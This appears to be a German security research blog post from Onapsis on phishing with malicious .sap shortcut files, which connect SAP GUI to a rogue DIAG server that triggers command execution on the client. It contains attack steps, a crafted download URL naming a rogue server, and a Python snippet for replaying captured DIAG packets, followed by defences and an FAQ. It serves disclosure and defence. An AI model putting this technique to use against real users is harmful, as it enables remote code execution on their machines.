Mehr als nur LNK-Dateien: Die Phishing-Bedrohung durch SAP-Verknüpfungen

Angreifer können scheinbar harmlose SAP-Verknüpfungsdateien (.sap) in Phishing-Kampagnen nutzen, um eine Remote-Code-Ausführung (RCE) auf dem Computer eines Benutzers zu erreichen. Im Gegensatz zu LNK-Dateien handelt es sich bei diesen SAP-Verknüpfungen um einfache Textdateien, die herkömmliche Antiviren- und EDR-Schutzmaßnahmen oft umgehen, da ihnen typische Anzeichen für bösartige Software fehlen. Die Onapsis Research Labs hat diesen Bedrohungsvektor analysiert und gezeigt, dass ein Angreifer, indem er einen Benutzer dazu verleitet, eine bösartige .sap-Datei zu öffnen, die SAP-GUI mit einem betrügerischen Server verbinden und beliebige Befehle auf dem Rechner des Clients ausführen kann. Diese Technik stellt ein erhebliches und oft übersehenes Risiko für Unternehmen dar, die auf SAP setzen, da sie eine vertrauenswürdige native Funktion in eine Waffe verwandelt. Zu den wichtigsten Abwehrmaßnahmen gehören das Blockieren von .sap-Anhängen am E-Mail-Gateway und die Implementierung spezifischer SAP-Sicherheitskonfigurationen, um die Ausführung von Verknüpfungen einzuschränken.

Was sind SAP-Tastenkombinationen?

SAP-Shortcuts sind einfache Textdateien mit der Endung .sap. Bei der Installation des SAP GUI für Windows wird diese Endung vom Betriebssystem automatisch der SAP-GUI-Anwendung zugeordnet.

Das bedeutet: Wenn ein Benutzer auf eine .sap-Datei doppelklickt, wird nicht einfach nur ein Dokument geöffnet, sondern das SAP GUI gestartet und automatisch versucht, eine Verbindung zu dem im Text der Datei definierten SAP-System herzustellen. Dies dient der Benutzerfreundlichkeit und ermöglicht es den Benutzern, schnell auf bestimmte Systeme zuzugreifen. Diese Benutzerfreundlichkeit kann jedoch auch ausgenutzt werden und stellt eine ernsthafte Herausforderung für die SAP-Sicherheit dar, wenn sie nicht ordnungsgemäß verwaltet wird. 

Beispiel für eine SAP-Verknüpfungsdatei

Beispiel für eine SAP-Verknüpfungsdatei 

Die versteckte Gefahr: Von der Verknüpfung zur Ausführung von Remote-Code

Die größte Gefahr, die von diesen Dateien ausgeht, ist die Möglichkeit der Remote-Code-Ausführung (RCE) im Rahmen eines Phishing-Angriffs. Und so funktioniert es: Ein Angreifer versendet eine .sap-Datei in einer Phishing-E-Mail an Mitarbeiter eines Unternehmens, das SAP einsetzt. Wenn ein Benutzer dazu verleitet wird, den Anhang zu öffnen, kann der Angreifer beliebigen Code auf dem Computer dieses Benutzers ausführen.

Wie ist das möglich? Ein Angreifer kann einen eigenen Server betreiben, der das DIAG-Protokoll von SAP nachahmt. Wenn sich die SAP-GUI des Benutzers verbindet, sendet der betrügerische Server bestimmte DIAG-Nachrichten zurück, die den Rechner des Clients dazu veranlassen können, lokale Programme wie Malware oder Ransomware auszuführen.

Auch wenn dies kein neues Konzept ist, bedurfte es einer zeitgemäßen Aktualisierung. Die grundlegenden Arbeiten zu diesem Thema wurden bereits 2012 von Martin Gallo auf der DEFCON vorgestellt ( seine Präsentation kann man sich auf YouTube ansehen). Die heutigen Endpunkt-Sicherheitslösungen sind zwar fortschrittlicher, können diese Bedrohung jedoch immer noch übersehen. Ein AV- oder EDR-Tool ist hervorragend darin, bösartigen Code in Makros oder verschleiertem PowerShell-Code in LNK-Dateien zu erkennen, doch eine einfache Textdatei wie eine .sap-Verknüpfung wird oft übersehen. Diese Untersuchung der Onapsis Research Labs , das Bewusstsein zu schärfen, indem sie demonstriert, wie leicht dieser oft übersehene Angriffsvektor herkömmliche Sicherheitsmaßnahmen umgeht.

Proof of Concept: So funktioniert der Angriff

Um diesen Angriff auszuführen, sind einige wichtige Schritte erforderlich:

  1. SAP GUI installieren: Auf dem Zielrechner muss SAP GUI für Windows installiert sein.
  2. Erstellen der Verknüpfung: Der Angreifer erstellt eine Datei namens „malicious.sap“, in die er die IP-Adresse oder Domain seines betrügerischen Servers einbettet. Die übrigen Parameter in der Datei sind für die Funktionsweise des Exploits irrelevant.
  3. Den Rogue-Server ausführen: Der Angreifer führt auf seinem Server ein benutzerdefiniertes Skript aus, um auf eingehende SAP-GUI-Verbindungen zu warten.
  4. Die Schadsoftware versenden: Der Angreifer versendet die .sap-Datei per E-Mail oder auf anderem Wege. Oftmals wird sie von Sicherheitsprogrammen nicht erkannt.
  5. Benutzerinteraktion: Der Benutzer öffnet die SAP-Verknüpfung.
  6. Pop-ups umgehen: Der Benutzer muss in Sicherheits-Pop-ups auf „Zulassen“ klicken und beliebige Anmeldedaten eingeben (diese müssen nicht gültig sein).
Hinweis: Die Pop-up-Fenster mit der Aufforderung „Zulassen“ erschweren Phishing zwar etwas, machen es aber nicht unmöglich. Angreifer können diese Hindernisse mit ausgefeilten Social-Engineering-Taktiken effektiv umgehen, indem sie Dringlichkeit, Autorität oder Täuschung einsetzen, um Nutzer dazu zu bewegen, auf „Zulassen“ zu klicken. Dies unterstreicht die Notwendigkeit einer robusten Sicherheit, die über bloße Pop-up-Warnungen hinausgeht, da die Wachsamkeit der Nutzer allein gegen ausgeklügeltes Phishing oft nicht ausreicht.

Szenarien für fortgeschrittene Phishing-Angriffe

Angreifer können diesen Angriff auf verschiedene Weise noch überzeugender gestalten:

  • Nutzung eines offenen Weiterleitungslinks: Ein Angreifer könnte eine Sicherheitslücke in Form eines offenen Weiterleitungslinks auf einer legitimen Website ausnutzen, um den ursprünglichen Link glaubwürdiger erscheinen zu lassen.
  • Forcing an Automatic Download: A specially crafted URL pointing to an SAP Java Netweaver endpoint can force the browser to automatically download the malicious .sap file, making the process smoother and more deceptive for the victim. https://<sap-system>:<sap-port>/sap.com~tc~lm~itsam~ui~conn~monitor~svlt/ShortCut?sysid=PRD&client=000&guiparm=/H/<rogue-server>/S/3200

Technische Details: So funktioniert es

Die früheren Arbeiten von Martin Gallo zu diesem Thema sind als Open Source verfügbar und können ein guter Ausgangspunkt sein, um eine clientseitige Remote-Code-Ausführung über SAP-Shortcuts zu erreichen. Das Open-Source-Skript ist recht einfach aufgebaut; es spielt DIAG-Nachrichten mithilfe von Scapy-Klassen nach. So erzeugt das Skript beispielsweise eine fest programmierte DIAG-Nachricht für den Anmeldebildschirm, die normalerweise von einem legitimen SAP-Server gesendet würde:

Erstellung einer fest codierten DIAG-Meldung

Erstellung einer fest codierten DIAG-Meldung

Im Rahmen unserer Untersuchungen haben wir festgestellt, dass die Wiederverwendung des Pakets für den Anmeldebildschirm aus dem älteren Skript nicht zuverlässig funktionierte. Wir haben einen alternativen Ansatz entwickelt:

  1. Erfassen Sie den Netzwerkverkehr einer legitimen SAP-Sitzung, in der ein Befehl auf der Client-Seite ausgeführt wird. Ein Angreifer kann dies mithilfe der Transaktion SE37 und Standardfunktionsbausteinen wie WS_EXECUTE oder GUI_RUN auslösen. Er könnte auch einen benutzerdefinierten Funktionsbaustein erstellen, der die Methode CL_GUI_FRONTEND_SERVICES=>EXECUTE() verwendet.
  2. Extrahieren Sie die Rohbyte-Zeichenkette aus den erfassten Paketen für die Anmeldung und die Befehlsausführung. Es ist entscheidend, dass beide Pakete aus derselben Sitzung stammen, damit sie dieselben Kennungen aufweisen.
  3. Übergeben Sie diese Byte-Strings direkt an den Konstruktor der Scapy-Klasse „SAPDiag“. Dadurch werden die Pakete korrekt instanziiert, wobei sogar LZH-komprimierte Nachrichten automatisch dekomprimiert werden.

Mit dieser Methode kann der betrügerische Server die aufgezeichnete Sitzung erfolgreich wiedergeben und den Befehl auf dem Computer des Opfers auslösen.

Beispiel für die Erstellung eines DIAG-Pakets aus einer Byte-Zeichenkette:

def dissect_diag_message(packet):
    p_bytes = []
    for i in range(0, len(packet), 2):
        b = packet[i:i+2]
        p_bytes.append(b.decode("hex"))
    s = "".join(p_bytes)
    diag_obj = SAPDiag(s)
    return diag_obj.message

def make_login_screen_packet():
    login_screen_packet = "00000000000000010e110000121f9d02a9bc6asd..."
    diag_payload = dissect_diag_message(login_screen_packet)
    return diag_payload

Abwehrmaßnahmen und Gegenmaßnahmen

Um Ihr Unternehmen vor dieser Bedrohung zu schützen, ist ein mehrschichtiger Ansatz erforderlich, dessen Schwerpunkt auf Prävention und Schadensbegrenzung liegt:

  • Aktualisieren Sie SAP GUI: Verwenden Sie stets die neueste Version von SAP GUI, um sicherzustellen, dass Sie über die aktuellsten Sicherheitsfunktionen verfügen.
  • SAP-Sicherheitshinweis prüfen 1397000: Es ist sehr wichtig, diesen Hinweis zu lesen, da er wichtige Informationen darüber enthält, wie die Verwendung von SAP-Shortcuts gesichert und eingeschränkt werden kann.
  • Anhänge blockieren (empfohlen): Der wirksamste Schutz besteht darin, alle eingehenden E-Mails mit Anhängen im .sap-Format an Ihrem E-Mail-Gateway zu blockieren.
  • Anhänge prüfen (falls eine Blockierung nicht möglich ist): Wenn Sie diese nicht vollständig blockieren können, wenden Sie strenge Prüfregeln an. Stellen Sie sicher, dass der Parameter „guiparm“ in der .sap-Datei nur bekannte und vertrauenswürdige Domänen enthält.
  • Kontinuierliche Überwachung nutzen: Implementieren Sie leistungsfähige SAP- Funktionen zur Erkennung und Bekämpfung von Bedrohungen, um ungewöhnliche Aktivitäten im SAP GUI zu erkennen, die auf einen erfolgreichen Angriff hindeuten könnten.
  • Schulen Sie Ihre Benutzer: Klären Sie die Benutzer über die Risiken beim Öffnen von Anhängen auf, auch wenn diese wie einfache Textdateien aussehen.

Indem sie diesen oft übersehenen Angriffsvektor erkennen und diese Sicherheitsmaßnahmen umsetzen, können Unternehmen ihre Abwehr gegen Phishing-Kampagnen, die auf SAP-Anwender abzielen, erheblich stärken.

Häufig gestellte Fragen (FAQ)

Warum blockieren unsere EDR- und Antiviren-Tools keine schädlichen SAP-Verknüpfungen? 

Die meisten EDR- (Endpoint Detection and Response) oder Antiviren-Tools sind darauf ausgelegt, nach bekannten Schadcodesignaturen, Code oder verdächtigen Verhaltensweisen wie der Ausführung von PowerShell zu suchen. SAP-Shortcuts (.sap-Dateien) sind einfache Textdateien und enthalten keine dieser typischen Indikatoren. Sie leiten das SAP GUI lediglich auf einen Server weiter, wodurch sie harmlos erscheinen und Standard-Sicherheitsprüfungen umgehen können.

Handelt es sich hierbei um eine neue Sicherheitslücke in der SAP-GUI-Software? 

Nicht ganz. Es handelt sich hierbei um einen Missbrauch einer legitimen Funktion. Das SAP GUI funktioniert wie vorgesehen, indem es eine Verbindung zu dem in der Verknüpfungsdatei angegebenen Server herstellt. Die Sicherheitslücke besteht darin, dass dieser vertrauenswürdige Prozess auf einen bösartigen Server umgeleitet werden kann, der dann schädliche Befehle an den Client-Rechner zurücksendet.

Was ist die wichtigste Maßnahme zum Schutz vor diesem Angriff? 

Die wirksamste und empfohlene Schutzmaßnahme besteht darin, Ihr E-Mail-Sicherheitsgateway so zu konfigurieren, dass alle eingehenden Anhänge mit der Dateiendung .sap blockiert werden. Dadurch wird verhindert, dass die schädliche Datei den Benutzer überhaupt erreicht, wodurch das Risiko vollständig beseitigt wird.

Wie trägt Onapsis zum Schutz vor dieser Art von Bedrohung bei? 

Die Platform bietet umfassende Transparenz und eine kontinuierliche Überwachung der Aktivitäten in SAP-Anwendungen. Auch wenn dieser spezifische Angriffsvektor vom Endgerät ausgeht, kann Onapsis Defend die darauf folgenden verdächtigen Kommunikationsvorgänge und Verhaltensweisen innerhalb der SAP-Landschaft erkennen, die auf eine Kompromittierung folgen würden, und so Sicherheitsteams dabei unterstützen, die Bedrohung schnell zu identifizieren und darauf zu reagieren.